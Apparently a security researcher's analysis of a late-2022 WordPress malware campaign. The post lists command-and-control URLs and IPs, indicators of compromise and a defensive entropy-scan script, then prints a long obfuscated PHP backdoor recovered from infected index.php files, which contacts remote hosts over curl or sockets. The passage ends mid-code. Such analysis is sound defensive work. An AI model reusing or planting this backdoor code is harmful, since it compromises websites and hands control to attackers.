Starting around December 1, 2022, thousands of Wordpress sites were targeted by a malware campaign. One of the largest shared-hosting companies in the US said as much as 50%+ of their customer Wordpress sites were impacted. This post analyzes an infected host and shows how reverse engineering the C2 protocol gives a glimpse into how it works. The Virus Total collection for this analysis can be found here.

If you’re looking for a way to remove this malware from your site, skip to the end.

Summary

Command and control (C2) URL’s

  • http://3829-ch4-v26.zxckid.com (198.204.250.114)
  • https://c.wiv3.com (204.12.213.234)
  • https://c.oiv3.com (204.12.213.234)
  • http://51la.izv3.com/a.txt (185.198.56.4) <— no response appears at first, viewing page source shows PHP code
  • http://51la.izv3.com/?d=<base64 encoded request object> (185.198.56.4)
  • http://c.jkv2.com/1 (204.12.213.234, 107.150.63.18)
  • http://3843-ch4-v22.freeykc.com/ (173.208.218.154)

Additional C2 IP addresses

  • 104.193.10.31
  • 68.178.221.131
  • 49.236.200.213
  • 151.80.67.229
  • 187.103.250.210
  • 23.83.247.59

Indicators of compromise

  1. A non-standard .htaccess file that only allows traffic to malicious files, such as:
<FilesMatch ".(py|exe|php)$">
 Order allow,deny
 Deny from all
</FilesMatch>
<FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php|wp-l0gin.php|wp-theme.php|wp-scripts.php|wp-editor.php)$">
 Order allow,deny
 Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
  1. The presence of the non-standard Wordpress files listed in the .htaccess such as about.php, radio.php, lock360.php, admin.php, wp-l0gin.php

  2. Scanning for entropy using the following shell script outputs a file called entropy.txt with the files with the highest entropy at the top.

echo "Getting entropy readings from all .php files"
rm -rf entropy.txt entropy.tmp.txt
for entry in $(find . -type f -name "*.php"); do
    entropy=$(ent $entry | sed -n 's/.*Serial correlation coefficient is //p' | sed "s/ .*//")
    echo "$entry $entropy" >> entropy.tmp.txt
done
sort -k2 -n entropy.tmp.txt > entropy.txt
rm -rf entropy.tmp.txt
echo "Entropy readings saved to entropy.txt"

This confirms what we already saw in .htaccess, where malicious files are spread across the host, with the same names listed in the FileMatch section of the .htaccess file.

  1. Obfuscated code inserted into standard files, such as index.php and wp-login.php, and newly created files with high levels of unreadable, obfuscated code. (see Malicious files)

  2. Files that contain strings like this:

    • MAMIMAMIHO
    • JS2022
    • SylVxy
    • yygpKyqbDRBS1wcA
    • \x47\x4c\x4f\x42\x41\x4c\x53
    • LaNHWRW0xciDdohvALwzxMl4rMnjlkrtJYb2WgT0qLpXXYXyxNnij5t6ieDGMNzrgaRWZQPuMYf2n9zt
    • O_0_O_OO00
    • c87PyXE0tNLsnMz7NyzskdHvTgUA
    • pqJf8tE3hI91PG7jjqev9dQmruSc
    • ZnVuY3Rpb25fZXhpc3RzLHRpbWUsZm9wZW4sZmlsZV9wdXRfY29udGVu
    • $p=$_COOKIE;(count($p)

Malicious files

Running cat on the files mentioned in .htaccess and entropy.txt show malicious code with varying levels of obfuscation.

/index.php and /content.php

<?php
$OO_O00O__0 = urldecode("%6f%41%2d%62%4e%6e%4b%37%4c%35%5f%4a%55%74%52%78%49%59%2b%57%43%61%39%33%56%6b%30%77%4d%31%4f%65%53%44%64%42%32%6a%2f%6c%73%58%66%71%70%68%6d%2a%54%47%76%51%48%72%50%79%63%5c%34%7a%75%46%36%69%5a%67%38%45");
$OOO__00O0_ = $OO_O00O__0[44] . $OO_O00O__0[53] . $OO_O00O__0[31] . $OO_O00O__0[65] . $OO_O00O__0[10] . $OO_O00O__0[53] . $OO_O00O__0[31] . $OO_O00O__0[44] . $OO_O00O__0[39] . $OO_O00O__0[21] . $OO_O00O__0[56] . $OO_O00O__0[31] . $OO_O00O__0[10] . $OO_O00O__0[56] . $OO_O00O__0[21] . $OO_O00O__0[39] . $OO_O00O__0[39] . $OO_O00O__0[3] . $OO_O00O__0[21] . $OO_O00O__0[56] . $OO_O00O__0[25];
$O_O_O0O0_0 = $OO_O00O__0[40] . $OO_O00O__0[13] . $OO_O00O__0[53] . $OO_O00O__0[31] . $OO_O00O__0[21] . $OO_O00O__0[46] . $OO_O00O__0[10] . $OO_O00O__0[40] . $OO_O00O__0[0] . $OO_O00O__0[56] . $OO_O00O__0[25] . $OO_O00O__0[31] . $OO_O00O__0[13] . $OO_O00O__0[10] . $OO_O00O__0[56] . $OO_O00O__0[39] . $OO_O00O__0[63] . $OO_O00O__0[31] . $OO_O00O__0[5] . $OO_O00O__0[13];
$O0O__00OO_ = $OO_O00O__0[40] . $OO_O00O__0[13] . $OO_O00O__0[53] . $OO_O00O__0[31] . $OO_O00O__0[21] . $OO_O00O__0[46] . $OO_O00O__0[10] . $OO_O00O__0[65] . $OO_O00O__0[31] . $OO_O00O__0[13] . $OO_O00O__0[10] . $OO_O00O__0[46] . $OO_O00O__0[31] . $OO_O00O__0[13] . $OO_O00O__0[21] . $OO_O00O__0[10] . $OO_O00O__0[34] . $OO_O00O__0[21] . $OO_O00O__0[13] . $OO_O00O__0[21];
$O00_0OO_O_ = $OO_O00O__0[40] . $OO_O00O__0[13] . $OO_O00O__0[53] . $OO_O00O__0[31] . $OO_O00O__0[21] . $OO_O00O__0[46] . $OO_O00O__0[10] . $OO_O00O__0[40] . $OO_O00O__0[31] . $OO_O00O__0[13] . $OO_O00O__0[10] . $OO_O00O__0[3] . $OO_O00O__0[39] . $OO_O00O__0[0] . $OO_O00O__0[56] . $OO_O00O__0[25] . $OO_O00O__0[63] . $OO_O00O__0[5] . $OO_O00O__0[65];
$O_O00O0O__ = $OO_O00O__0[40] . $OO_O00O__0[13] . $OO_O00O__0[53] . $OO_O00O__0[31] . $OO_O00O__0[21] . $OO_O00O__0[46] . $OO_O00O__0[10] . $OO_O00O__0[40] . $OO_O00O__0[31] . $OO_O00O__0[13] . $OO_O00O__0[10] . $OO_O00O__0[13] . $OO_O00O__0[63] . $OO_O00O__0[46] . $OO_O00O__0[31] . $OO_O00O__0[0] . $OO_O00O__0[60] . $OO_O00O__0[13];
$O_0OO0O0__ = $OO_O00O__0[42] . $OO_O00O__0[63] . $OO_O00O__0[39] . $OO_O00O__0[31] . $OO_O00O__0[10] . $OO_O00O__0[44] . $OO_O00O__0[60] . $OO_O00O__0[13] . $OO_O00O__0[10] . $OO_O00O__0[56] . $OO_O00O__0[0] . $OO_O00O__0[5] . $OO_O00O__0[13] . $OO_O00O__0[31] . $OO_O00O__0[5] . $OO_O00O__0[13] . $OO_O00O__0[40];
$O_00_0OO_O = $OO_O00O__0[42] . $OO_O00O__0[63] . $OO_O00O__0[39] . $OO_O00O__0[31] . $OO_O00O__0[10] . $OO_O00O__0[65] . $OO_O00O__0[31] . $OO_O00O__0[13] . $OO_O00O__0[10] . $OO_O00O__0[56] . $OO_O00O__0[0] . $OO_O00O__0[5] . $OO_O00O__0[13] . $OO_O00O__0[31] . $OO_O00O__0[5] . $OO_O00O__0[13] . $OO_O00O__0[40];
$O_OO0_0O_0 = $OO_O00O__0[45] . $OO_O00O__0[13] . $OO_O00O__0[13] . $OO_O00O__0[44] . $OO_O00O__0[10] . $OO_O00O__0[3] . $OO_O00O__0[60] . $OO_O00O__0[63] . $OO_O00O__0[39] . $OO_O00O__0[34] . $OO_O00O__0[10] . $OO_O00O__0[43] . $OO_O00O__0[60] . $OO_O00O__0[31] . $OO_O00O__0[53] . $OO_O00O__0[55];
$O__0_OO00O = $OO_O00O__0[42] . $OO_O00O__0[60] . $OO_O00O__0[5] . $OO_O00O__0[56] . $OO_O00O__0[13] . $OO_O00O__0[63] . $OO_O00O__0[0] . $OO_O00O__0[5] . $OO_O00O__0[10] . $OO_O00O__0[31] . $OO_O00O__0[15] . $OO_O00O__0[63] . $OO_O00O__0[40] . $OO_O00O__0[13] . $OO_O00O__0[40];
$O__O000_OO = $OO_O00O__0[65] . $OO_O00O__0[31] . $OO_O00O__0[13] . $OO_O00O__0[45] . $OO_O00O__0[0] . $OO_O00O__0[40] . $OO_O00O__0[13] . $OO_O00O__0[3] . $OO_O00O__0[55] . $OO_O00O__0[5] . $OO_O00O__0[21] . $OO_O00O__0[46] . $OO_O00O__0[31];
$O0O_0_0OO_ = $OO_O00O__0[3] . $OO_O00O__0[21] . $OO_O00O__0[40] . $OO_O00O__0[31] . $OO_O00O__0[62] . $OO_O00O__0[58] . $OO_O00O__0[10] . $OO_O00O__0[31] . $OO_O00O__0[5] . $OO_O00O__0[56] . $OO_O00O__0[0] . $OO_O00O__0[34] . $OO_O00O__0[31];
$O0O0_0O__O = $OO_O00O__0[3] . $OO_O00O__0[21] . $OO_O00O__0[40] . $OO_O00O__0[31] . $OO_O00O__0[62] . $OO_O00O__0[58] . $OO_O00O__0[10] . $OO_O00O__0[34] . $OO_O00O__0[31] . $OO_O00O__0[56] . $OO_O00O__0[0] . $OO_O00O__0[34] . $OO_O00O__0[31];
$O0_0OO__O0 = $OO_O00O__0[53] . $OO_O00O__0[21] . $OO_O00O__0[27] . $OO_O00O__0[60] . $OO_O00O__0[53] . $OO_O00O__0[39] . $OO_O00O__0[31] . $OO_O00O__0[5] . $OO_O00O__0[56] . $OO_O00O__0[0] . $OO_O00O__0[34] . $OO_O00O__0[31];
$O0_O_O0_0O = $OO_O00O__0[53] . $OO_O00O__0[21] . $OO_O00O__0[27] . $OO_O00O__0[60] . $OO_O00O__0[53] . $OO_O00O__0[39] . $OO_O00O__0[34] . $OO_O00O__0[31] . $OO_O00O__0[56] . $OO_O00O__0[0] . $OO_O00O__0[34] . $OO_O00O__0[31];
$O_0O_O0_O0 = $OO_O00O__0[65] . $OO_O00O__0[59] . $OO_O00O__0[60] . $OO_O00O__0[5] . $OO_O00O__0[56] . $OO_O00O__0[0] . $OO_O00O__0[46] . $OO_O00O__0[44] . $OO_O00O__0[53] . $OO_O00O__0[31] . $OO_O00O__0[40] . $OO_O00O__0[40];
$OO_0O_00O_ = $OO_O00O__0[40] . $OO_O00O__0[13] . $OO_O00O__0[53] . $OO_O00O__0[10] . $OO_O00O__0[53] . $OO_O00O__0[31] . $OO_O00O__0[44] . $OO_O00O__0[39] . $OO_O00O__0[21] . $OO_O00O__0[56] . $OO_O00O__0[31];
$O000__OOO_ = $OO_O00O__0[37] . $OO_O00O__0[40] . $OO_O00O__0[0] . $OO_O00O__0[5] . $OO_O00O__0[10] . $OO_O00O__0[31] . $OO_O00O__0[5] . $OO_O00O__0[56] . $OO_O00O__0[0] . $OO_O00O__0[34] . $OO_O00O__0[31];
$O__0O0O0_O = $OO_O00O__0[42] . $OO_O00O__0[63] . $OO_O00O__0[39] . $OO_O00O__0[31] . $OO_O00O__0[10] . $OO_O00O__0[31] . $OO_O00O__0[15] . $OO_O00O__0[63] . $OO_O00O__0[40] . $OO_O00O__0[13] . $OO_O00O__0[40];
$O0OO0O_0__ = $OO_O00O__0[56] . $OO_O00O__0[60] . $OO_O00O__0[53] . $OO_O00O__0[39] . $OO_O00O__0[10] . $OO_O00O__0[40] . $OO_O00O__0[31] . $OO_O00O__0[13] . $OO_O00O__0[0] . $OO_O00O__0[44] . $OO_O00O__0[13];
$O0_0O_0_OO = $OO_O00O__0[21] . $OO_O00O__0[53] . $OO_O00O__0[53] . $OO_O00O__0[21] . $OO_O00O__0[55] . $OO_O00O__0[10] . $OO_O00O__0[40] . $OO_O00O__0[45] . $OO_O00O__0[63] . $OO_O00O__0[42] . $OO_O00O__0[13];
$O_OOO00_0_ = $OO_O00O__0[44] . $OO_O00O__0[53] . $OO_O00O__0[31] . $OO_O00O__0[65] . $OO_O00O__0[10] . $OO_O00O__0[40] . $OO_O00O__0[44] . $OO_O00O__0[39] . $OO_O00O__0[63] . $OO_O00O__0[13];
$OO0_O_0_0O = $OO_O00O__0[44] . $OO_O00O__0[53] . $OO_O00O__0[31] . $OO_O00O__0[65] . $OO_O00O__0[10] . $OO_O00O__0[46] . $OO_O00O__0[21] . $OO_O00O__0[13] . $OO_O00O__0[56] . $OO_O00O__0[45];
$O_0__0OO0O = $OO_O00O__0[56] . $OO_O00O__0[60] . $OO_O00O__0[53] . $OO_O00O__0[39] . $OO_O00O__0[10] . $OO_O00O__0[31] . $OO_O00O__0[53] . $OO_O00O__0[53] . $OO_O00O__0[0] . $OO_O00O__0[53];
$O0O_0O__0O = $OO_O00O__0[56] . $OO_O00O__0[60] . $OO_O00O__0[53] . $OO_O00O__0[39] . $OO_O00O__0[10] . $OO_O00O__0[56] . $OO_O00O__0[39] . $OO_O00O__0[0] . $OO_O00O__0[40] . $OO_O00O__0[31];
$O_O0_0OO_0 = $OO_O00O__0[60] . $OO_O00O__0[53] . $OO_O00O__0[39] . $OO_O00O__0[31] . $OO_O00O__0[5] . $OO_O00O__0[56] . $OO_O00O__0[0] . $OO_O00O__0[34] . $OO_O00O__0[31];
$O0_O_0O0O_ = $OO_O00O__0[60] . $OO_O00O__0[53] . $OO_O00O__0[39] . $OO_O00O__0[34] . $OO_O00O__0[31] . $OO_O00O__0[56] . $OO_O00O__0[0] . $OO_O00O__0[34] . $OO_O00O__0[31];
$O__OO00O0_ = $OO_O00O__0[40] . $OO_O00O__0[13] . $OO_O00O__0[53] . $OO_O00O__0[10] . $OO_O00O__0[40] . $OO_O00O__0[44] . $OO_O00O__0[39] . $OO_O00O__0[63] . $OO_O00O__0[13];
$O_O000O__O = $OO_O00O__0[44] . $OO_O00O__0[21] . $OO_O00O__0[53] . $OO_O00O__0[40] . $OO_O00O__0[31] . $OO_O00O__0[10] . $OO_O00O__0[60] . $OO_O00O__0[53] . $OO_O00O__0[39];
$O0_0_OOO0_ = $OO_O00O__0[65] . $OO_O00O__0[59] . $OO_O00O__0[63] . $OO_O00O__0[5] . $OO_O00O__0[42] . $OO_O00O__0[39] . $OO_O00O__0[21] . $OO_O00O__0[13] . $OO_O00O__0[31];
$O_OO0_0O0_ = $OO_O00O__0[65] . $OO_O00O__0[59] . $OO_O00O__0[34] . $OO_O00O__0[31] . $OO_O00O__0[42] . $OO_O00O__0[39] . $OO_O00O__0[21] . $OO_O00O__0[13] . $OO_O00O__0[31];
$O000_OOO__ = $OO_O00O__0[56] . $OO_O00O__0[60] . $OO_O00O__0[53] . $OO_O00O__0[39] . $OO_O00O__0[10] . $OO_O00O__0[63] . $OO_O00O__0[5] . $OO_O00O__0[63] . $OO_O00O__0[13];
$OO_00O0_O_ = $OO_O00O__0[56] . $OO_O00O__0[60] . $OO_O00O__0[53] . $OO_O00O__0[39] . $OO_O00O__0[10] . $OO_O00O__0[31] . $OO_O00O__0[15] . $OO_O00O__0[31] . $OO_O00O__0[56];
$O_0_OO_00O = $OO_O00O__0[21] . $OO_O00O__0[53] . $OO_O00O__0[53] . $OO_O00O__0[21] . $OO_O00O__0[55] . $OO_O00O__0[10] . $OO_O00O__0[44] . $OO_O00O__0[0] . $OO_O00O__0[44];
$OO0_O_0O_0 = $OO_O00O__0[50] . $OO_O00O__0[21] . $OO_O00O__0[53] . $OO_O00O__0[10] . $OO_O00O__0[34] . $OO_O00O__0[60] . $OO_O00O__0[46] . $OO_O00O__0[44];
$O_O00O0O__ = $OO_O00O__0[63] . $OO_O00O__0[40] . $OO_O00O__0[10] . $OO_O00O__0[21] . $OO_O00O__0[53] . $OO_O00O__0[53] . $OO_O00O__0[21] . $OO_O00O__0[55];
$O0_0O_O0_O = $OO_O00O__0[13] . $OO_O00O__0[46] . $OO_O00O__0[44] . $OO_O00O__0[42] . $OO_O00O__0[63] . $OO_O00O__0[39] . $OO_O00O__0[31];
$O_O000O__O = $OO_O00O__0[44] . $OO_O00O__0[53] . $OO_O00O__0[63] . $OO_O00O__0[5] . $OO_O00O__0[13] . $OO_O00O__0[10] . $OO_O00O__0[53];
$O_OO_O_000 = $OO_O00O__0[46] . $OO_O00O__0[13] . $OO_O00O__0[10] . $OO_O00O__0[53] . $OO_O00O__0[21] . $OO_O00O__0[5] . $OO_O00O__0[34];
$O0_OOO0_0_ = $OO_O00O__0[63] . $OO_O00O__0[46] . $OO_O00O__0[44] . $OO_O00O__0[39] . $OO_O00O__0[0] . $OO_O00O__0[34] . $OO_O00O__0[31];
$OOO_O__000 = $OO_O00O__0[31] . $OO_O00O__0[15] . $OO_O00O__0[44] . $OO_O00O__0[39] . $OO_O00O__0[0] . $OO_O00O__0[34] . $OO_O00O__0[31];
$O__0_O0O0O = $OO_O00O__0[60] . $OO_O00O__0[40] . $OO_O00O__0[39] . $OO_O00O__0[31] . $OO_O00O__0[31] . $OO_O00O__0[44];
$O0_0OOO_0_ = $OO_O00O__0[60] . $OO_O00O__0[5] . $OO_O00O__0[39] . $OO_O00O__0[63] . $OO_O00O__0[5] . $OO_O00O__0[25];
$O_0O0_O0_O = $OO_O00O__0[40] . $OO_O00O__0[13] . $OO_O00O__0[53] . $OO_O00O__0[44] . $OO_O00O__0[0] . $OO_O00O__0[40];
$O__0O0O0O_ = $OO_O00O__0[40] . $OO_O00O__0[13] . $OO_O00O__0[53] . $OO_O00O__0[39] . $OO_O00O__0[31] . $OO_O00O__0[5];
$O0_0OO_0O_ = $OO_O00O__0[45] . $OO_O00O__0[31] . $OO_O00O__0[15] . $OO_O00O__0[34] . $OO_O00O__0[31] . $OO_O00O__0[56];
$OO00O__0O_ = $OO_O00O__0[65] . $OO_O00O__0[31] . $OO_O00O__0[13] . $OO_O00O__0[31] . $OO_O00O__0[5] . $OO_O00O__0[50];
$O_0_O0_O0O = $OO_O00O__0[42] . $OO_O00O__0[27] . $OO_O00O__0[53] . $OO_O00O__0[63] . $OO_O00O__0[13] . $OO_O00O__0[31];
$O__O0O00_O = $OO_O00O__0[42] . $OO_O00O__0[56] . $OO_O00O__0[39] . $OO_O00O__0[0] . $OO_O00O__0[40] . $OO_O00O__0[31];
$O_00_OOO0_ = $OO_O00O__0[42] . $OO_O00O__0[53] . $OO_O00O__0[31] . $OO_O00O__0[21] . $OO_O00O__0[34];
$O_00_OO0O_ = $OO_O00O__0[42] . $OO_O00O__0[65] . $OO_O00O__0[31] . $OO_O00O__0[13] . $OO_O00O__0[40];
$O0_0O0O_O_ = $OO_O00O__0[56] . $OO_O00O__0[0] . $OO_O00O__0[60] . $OO_O00O__0[5] . $OO_O00O__0[13];
$O0O___O0O0 = $OO_O00O__0[56] . $OO_O00O__0[45] . $OO_O00O__0[46] . $OO_O00O__0[0] . $OO_O00O__0[34];
$O__O000_OO = $OO_O00O__0[13] . $OO_O00O__0[53] . $OO_O00O__0[63] . $OO_O00O__0[46];
$OO0__0O0O_ = $OO_O00O__0[37] . $OO_O00O__0[0] . $OO_O00O__0[63] . $OO_O00O__0[5];
$OO___00O0O = $OO_O00O__0[42] . $OO_O00O__0[31] . $OO_O00O__0[0] . $OO_O00O__0[42];
$O0O_OO0_0_ = $OO_O00O__0[46] . $OO_O00O__0[34] . $OO_O00O__0[9];
$OO___0O00O = "LaNHWRW0xciDdohvALwzxMl4rMnjlkrtJYb2WgT0qLpXXYXyxNnij5t6ieDGMNzrgaRWZQPuMYf2n9zt";
function O_OO0_O0_0($url, $OO0__O0O_0 = 0, $OOOO00___0 = 1, $OO0_0_OO_0 = NULL, $O0__OOO0_0 = array(), $O0O_O_00_O = "s")
{
if (!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x5f\x30\x5f\x30\x4f"]("/^https*\\:\\/\\//si", $url)) {
if (isset(${"\x5f\x47\x45\x54"}["\x75\x72\x6c\x65\x72\x72"])) {
$O00O__0O_O = O_OO00O__0('iy4tyhjkktKsovilXIzCtLzMlMUQCKWKnlJRUqQXWAMA');
$O00O__0O_O .= $url;
echo $O00O__0O_O;
unset($O00O__0O_O);
exit();
}
return '';
}
$OO0_O0__O0 = O_OO00O__0('Sy4tyYnonPzMss0U4GsYpTS/ILoOzUitTkmrTi/OTs/ILUvJoCBLO4pCg1MTcexE8tiU/OyUzNK6mB8YBvpSJakA');
$OOOO0_0__0 = $O0__0O_O0O = '';
foreach (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x5f\x5f\x30\x30\x30"]('|', $OO0_O0__O0) as $c) {
$OO_OO0__00 = 1;
if ($OO0__O0O_0 && substr($c, 0, 1) == 'c') {
continue;
}
foreach (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x5f\x5f\x30\x30\x30"]('+', $c) as $d) {
if (!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x5f\x4f\x4f\x30\x30\x4f"]($d)) {
$OO_OO0__00 = 0;
}
}
unset($d);
if ($OO_OO0__00) {
$OOOO0_0__0 = $c;
break;
}
}
unset($OO0_O0__O0, $c);
if ($OOOO0_0__0 == '') {
return 0;
}
if (substr($OOOO0_0__0, 0, 1) == 'c') {
$OO__000OO_ = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x5f\x4f\x4f\x4f\x5f\x5f"]();
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x30\x4f\x5f\x30\x5f\x5f"]($OO__000OO_, CURLOPT_URL, $url);
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x30\x4f\x5f\x30\x5f\x5f"]($OO__000OO_, CURLOPT_USERAGENT, $O0O_O_00_O);
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x30\x4f\x5f\x30\x5f\x5f"]($OO__000OO_, CURLOPT_RETURNTRANSFER, 1);
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x30\x4f\x5f\x30\x5f\x5f"]($OO__000OO_, CURLOPT_TIMEOUT, 100);
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x30\x4f\x5f\x30\x5f\x5f"]($OO__000OO_, CURLOPT_FRESH_CONNECT, TRUE);
if ($OOOO00___0 == 2) {
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x30\x4f\x5f\x30\x5f\x5f"]($OO__000OO_, CURLOPT_POST, 1);
if (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x30\x4f\x30\x4f\x5f\x5f"]($OO0_0_OO_0)) {
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x30\x4f\x5f\x30\x5f\x5f"]($OO__000OO_, CURLOPT_POSTFIELDS, ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x30\x5f\x30\x4f\x5f\x30"]($OO0_0_OO_0));
}
}
$OO__OO0_00 = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x30\x4f\x30\x5f\x4f\x5f"]($OO__000OO_);
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x30\x4f\x5f\x5f\x30\x4f"]($OO__000OO_);
if (!$OO__OO0_00) {
if (isset(${"\x5f\x47\x45\x54"}["\x63\x75\x72\x6c\x65\x72\x72"])) {
$O00O__0O_O = O_OO00O__0('i04uLLgcpRSC0qyi+KVctLKi6qTwBgA=');
$O00O__0O_O .= ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x5f\x30\x4f\x4f\x30\x4f"]($OO__000OO_);
echo $O00O__0O_O;
unset($O00O__0O_O);
exit();
}
return 0;
} else {
return $OO__OO0_00;
}
}
$O0O00___OO = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x30\x30\x4f\x5f\x5f\x4f"]($url);
isset($O0O00___OO["\x68\x6f\x73\x74"]) || $O0O00___OO["\x68\x6f\x73\x74"] = '';
isset($O0O00___OO["\x70\x61\x74\x68"]) || $O0O00___OO["\x70\x61\x74\x68"] = '';
isset($O0O00___OO["\x71\x75\x65\x72\x79"]) || $O0O00___OO["\x71\x75\x65\x72\x79"] = '';
isset($O0O00___OO["\x70\x6f\x72\x74"]) || $O0O00___OO["\x70\x6f\x72\x74"] = '';
$O0O_OO_00_ = $O0O00___OO["\x70\x61\x74\x68"] ? $O0O00___OO["\x70\x61\x74\x68"] . ($O0O00___OO["\x71\x75\x65\x72\x79"] ? '?' . $O0O00___OO["\x71\x75\x65\x72\x79"] : '') : '/';
$O00_0OO__O = $O0O00___OO["\x68\x6f\x73\x74"];
if ($O0O00___OO["\x73\x63\x68\x65\x6d\x65"] == 'https') {
$O_O_0O0_O0 = '1.1';
$OO_0O_00_O = empty($O0O00___OO["\x70\x6f\x72\x74"]) ? 443 : $O0O00___OO["\x70\x6f\x72\x74"];
$O00_0OO__O = O_OO00O__0('Ky7OsCTdLXGXBwA=');
$O00_0OO__O .= $O0O00___OO["\x68\x6f\x73\x74"];
} else {
$O_O_0O0_O0 = '1.0';
$OO_0O_00_O = empty($O0O00___OO["\x70\x6f\x72\x74"]) ? 80 : $O0O00___OO["\x70\x6f\x72\x74"];
}
$OO0_0O__0O = 'Host:';
$OO0_0O__0O .= $O00_0OO__O;
$O0__OOO0_0[] = $OO0_0O__0O;
$O0__OOO0_0[] = O_OO00O__0('c87PyXE0tNLsnMz7NyzskdHvTgUA');
$O0__OOO0_0[] = O_OO00O__0('Cy1OLhudJ1TE/NK7EiMCAA==') . $O0O_O_00_O;
$O0__OOO0_0[] = O_OO00O__0('c0xOTxRi0osdLZRS1wIA');
unset($OO0_0O__0O);
if ($OOOO00___0 == 2) {
if (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x30\x4f\x30\x4f\x5f\x5f"]($OO0_0_OO_0)) {
$OO0_0_OO_0 = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x30\x5f\x30\x4f\x5f\x30"]($OO0_0_OO_0);
}
$O0__OOO0_0[] = O_OO00O__0('c87PKgO0nNK9EtqSxItUosKMjJTE4syczP06/QLS8v103LL8rVLS3KSc1Lzk9uPJTQEA');
$O0__OOO0_0[] = O_OO00O__0('c87PKhI0nNK9H1Sc1LL8mcNwAgA=') . ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x30\x4f\x30\x4f\x5f"]($OO0_0_OO_0);
$O0__0O_O0O = "POST $O0O_OO_00_ HTTP/$O_O_0O0_O0" . PHP_EOL . ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x5f\x30\x4f\x30\x4f\x5f"](PHP_EOL, $O0__OOO0_0) . PHP_EOL . PHP_EOL . $OO0_0_OO_0;
unset($OO0_0_OO_0);
} else {
$O0__0O_O0O = "GET $O0O_OO_00_ HTTP/$O_O_0O0_O0" . PHP_EOL . ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x5f\x30\x4f\x30\x4f\x5f"](PHP_EOL, $O0__OOO0_0) . PHP_EOL . PHP_EOL;
}
unset($O0__OOO0_0, $O0O00___OO, $O_O_0O0_O0, $O0O_OO_00_);
$O_O_O00_0O = null;
if (substr($OOOO0_0__0, -1) == 'n') {
$O_O_O00_0O = $OOOO0_0__0($O00_0OO__O, $OO_0O_00_O, $O00O__0O_Ono, $O00O__0O_Ostr, 30);
} else {
if (substr($OOOO0_0__0, -1) == 't') {
$O_OOO__000 = O_OO00O__0('K0kusLwNLgRXBwA=');
$O_OOO__000 .= $O00_0OO__O;
$O_OOO__000 .= ':';
$O_OOO__000 .= $OO_0O_00_O;
$O_O_O00_0O = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x30\x4f\x30\x5f\x30"]($O_OOO__000, $O00O__0O_Ono, $O00O__0O_Ostr, 30);
unset($O_OOO__000);
}
}
$OO_0OO00__ = '';
if ($O_O_O00_0O) {
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x30\x4f\x4f\x5f\x4f\x5f"]($O_O_O00_0O, TRUE);
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x30\x4f\x30\x4f\x5f\x5f"]($O_O_O00_0O, 30);
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($O_O_O00_0O, $O0__0O_O0O);
if (!$OO0__O0O_0) {
$O00O__O_O0 = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x5f\x30\x30\x4f\x4f\x5f"]($O_O_O00_0O);
if (!$O00O__O_O0["\x74\x69\x6d\x65\x64\x5f\x6f\x75\x74"]) {
while (!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x5f\x30\x30\x4f\x30\x4f"]($O_O_O00_0O)) {
$O_O0__0OO0 = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x5f\x4f\x4f\x30\x4f\x5f"]($O_O_O00_0O);
if ($O_O0__0OO0 && (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x4f\x4f\x5f\x5f\x4f\x30"]($O_O0__0OO0) == "%0D%0A" || ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x4f\x4f\x5f\x5f\x4f\x30"]($O_O0__0OO0) == "%0A")) {
break;
}
unset($O_O0__0OO0);
}
